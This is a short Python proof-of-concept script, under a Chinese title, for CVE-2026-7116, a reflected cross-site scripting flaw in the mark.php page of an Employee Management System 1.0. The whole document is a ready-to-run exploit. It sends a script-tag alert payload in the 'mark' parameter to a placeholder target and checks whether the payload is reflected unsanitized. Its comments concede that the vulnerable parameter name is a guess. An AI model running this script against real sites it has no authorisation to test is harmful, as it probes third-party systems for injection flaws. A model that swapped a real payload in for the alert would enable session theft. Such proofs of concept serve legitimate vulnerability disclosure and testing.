CVE-2026-7116: 员工管理系统XSS漏洞

# Proof of Concept for CVE-2026-7116 # Target: code-projects Employee Management System 1.0 # Vulnerable File: 370project/mark.php import requests def exploit_xss(target_url): # Malicious payload to test XSS payload = "<script>alert('XSS-CVE-2026-7116');</script>" # The vulnerable parameter might be a score or comment field # Adjust the parameter name based on actual application logic params = { "mark": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unsanitized in the response if payload in response.text: print("[+] Vulnerability confirmed: XSS payload executed.") print(f"[+] Target: {response.url}") else: print("[-] Vulnerability not detected or input sanitized.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": url = "http://target-ip/Employee_Management_System/370project/mark.php" exploit_xss(url)